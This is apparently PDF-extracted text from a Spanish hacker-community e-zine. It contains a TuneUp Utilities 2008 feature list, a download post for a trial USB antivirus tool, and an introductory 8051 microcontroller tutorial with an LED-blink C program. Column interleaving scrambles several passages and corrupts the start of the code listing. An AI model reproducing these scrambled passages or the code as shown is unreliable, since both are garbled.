
• Adaptar Windows a sus necesidades personales


• Estación de control central con más de 400
opciones para ajustar el menú Inicio, la barra Edición cómoda del registro
de tareas, la configuración de Internet, además
de las opciones de privacidad, animaciones, • Realice modificaciones manuales en el registro
efectos y mucho más. • Admite marcadores y almacena el desarrollo de
todas las claves consultadas
Su propia configuración de Windows
• Ofrece una rápida y extensa función de
búsqueda que muestra un listado de todas los
• Permite personalizar el aspecto de ventanas y resultados
botones
• Asegura de forma automática todas las
• Configura la pantalla de inicio modificaciones en TuneUp Rescue Center y
• Permite modificar el inicio de sesión del usuario permite deshacerlas.

Destruir datos de forma segura

• Elimina información confidencial de manera que


nadie pueda restaurarlas
• Permite
eliminar de forma segura mediante distintos
métodos como, por ejemplo,
según el procedimiento del Departamento de
defensa de EE. UU.

Averigua información detallada sobre el sistema

• Ofrece información y hechos detallados sobre


Windows y el hardware utilizado
Razones para usar TuneUp 2008 CUH e-zine 4ª edición

• Muestra el uso que se hace del sistema y de la


memoria RAM, así como la velocidad de
transmisión de datos de Internet y de la red

Por ultimo vamos a ver como deberiamos tener


configurado el TuneUp Utilities 2008 ( esta
configuracion es personal, cada uno pone lo que mas le
interesa )

Esto es todo, solo un pequeño aporte a este gran


programa y a la comunidad de el Hacker.com CUH ,
casi se le podria llamar TODO EN UNO

SALU2
Centinel USB Protector CUH e-zine 4ª edición

Les dejo una pequeña aplicación que protege de


virus tus unidades extraibles y por ende al pc que
lo use, la aplicación consta de una interfaz y de
una pequeña barra que se puede desplazar al
lugar deseado, es una versión de prueba por el
momento pruebenla y me dicen como les va,
deben leer el leeme que hay en el .rar, ali explica
algunas cosillas, ya que necesito saber de los
fallos para corregirlos, espero que les guste!

Screenshots:

By Aleks

Aquí tienen el enlace para descargarlo:


http://rapidshare.com/files/132059297/Centinel_Final.rar.html
Microcontroladores CUH e-zine 4ª edición

Hola, como han estado?

Luego de haber visto juntos las bases de la electrónica


y los componentes básicos de todo circuito vamos
ahora a dar un salto, una bastante largo, y vamos a
empezar a hablar de los microcontroladores.

En un curso completo de electrónica deberíamos antes


de llegar a este tema pasar por todos los tema de
transistores, diodos y demás.... Pero eso nos llevaría
mucho tiempo!!! Y además los aburriría. Con la teoría
que ya tenemos será suficiente como para empezar a
darle un vistazo a lo que es la electrónica que se usa
hoy en día en todos los equipos que nos rodean, lo que
nos haga falta, lo aprenderemos sobre la marcha.

El Microcontrolador:

El microcontrolador no es ni mas ni menos que una


computadora en miniatura, es decir, dentro de un
encapsulado plástico tenemos un microprocesador
(como el de una PC pero menos potente), memoria,
puertos de entrada y salida, timer y otros circuitos
auxiliares.

Donde hay microcontroladores?, bueno, en realidad


deberíamos tratar de encontrar donde no los hay. Hoy
en día están en todos lados, Lavarropas, Celulares,
Automóviles, todo lo que tiene electrónica hoy en día
tiene un microcontrolador de algún grado de
complejidad.... Inclusive los casi para nada complejos,
ya que con un micro pueden reemplazar un mayor
numero de componentes y abaratar costos.

El microcontrolador mas antiguo de uso masivo y cuyos


clones continúan en producción hoy en día fue el Intel
8051, es un descendiente directo de la familia del 8088
y lo que se logro en el fue incorporar en un solo
encapsulado el microprocesador, su lógica de control,
memoria ROM y RAM y puertos paralelos de 8 bits
además de un puerto serie.
Microcontroladores CUH e-zine 4ª edición
En el diagrama podemos ver todos los pines que posee
este micro en particular para su interconexión con el En un principio, los microcontroladores se programaban
“exterior”. solo en assembler, lo cual, si bien era un mucho más
simple que el del 8088 por ejemplo, no dejaba de ser
Los pines marcados como P0.X, P1.X, P2.X, P3.X son algo complicado.
los puertos paralelos, estos pueden ser comandados
individualmente y nos permiten activar Para nuestra fortuna hoy en día contamos con
independientemente cualquiera de los pines. Estos compiladores de C para casi todos los micros. Incluido
también pueden funcionar como entradas. claro el 8051, entonces, y solo a modo de muestra de
lo que estamos hablando, vemos el programa en C que
Si miramos con atención podremos ver que la mayoría hará parpadear el led del circuito anterior:
de los pines PX.X tienen además una función
alternativa que da otro nombre al pin. Por ejemplo el El #pragma SMALL DB OE
P0 puede funcionar como líneas de datos y de address #include <reg51.h>
(multiplexado, es decir alternando una función y la
otra) para direccionar una memoria externa. El P2 nos sbit light = P2^0; /* definimos a que pin de que
da mas líneas de dirección para lograr direccionar 64k puerto equivale light */
de memoria externa.
/* Funcion Delay */
En el resto de los pines podemos ver los que permiten void delay(void){
conectar el crista para el clock, los RxD y TxD del int i, j;
puerto serie, interrupciones, reset, etc. Además claro for(i=0; i<1000; i++){ /* dos ciclos for anidados
de los Vcc y Vss para a alimentación. */
for(j=0; j<100; j++){ /* para aumentar el
Veamos un ejemplo super-básico, en el cual podremos delay */
constatar cuanto simplifica un microcontrolador un i=i+0;
diseño electrónico. }
}
}

void main(void){
while(1){
light=0; /* enciende led */
delay(); /* ejecuta el delay para que el ojo
pueda percibir el parpadeo */
light=1; /* apaga el led */
delay();
}
}

Bueno, por esta entrega es suficiente, ya tienen en


mente de que se trata esto de los microcontroladores y
un ejemplo básico de cómo usarlos. En próximas
entregas veremos microcontroladores más fáciles de
encontrar hoy en día en los comercios y que nos
permitirá ir subiendo en complejidad los ejemplos.

Gracias por vuestra atención!!!

Elektro
Este circuito nos permite controlar el encendido y
apagado de un LED, el PIN RST se conectara a GND, el
negativo de la fuente de alimentación y cuando
queremos resetear el micro, conectamos ese mismo pin
a Vcc (+5V)

Lógicamente ahora llega la pregunta esperada “Como


hacemos para que el microcontrolador haga lo que yo
necesito?” Y la respuesta es una simple y divertida
palabra “programándolo!”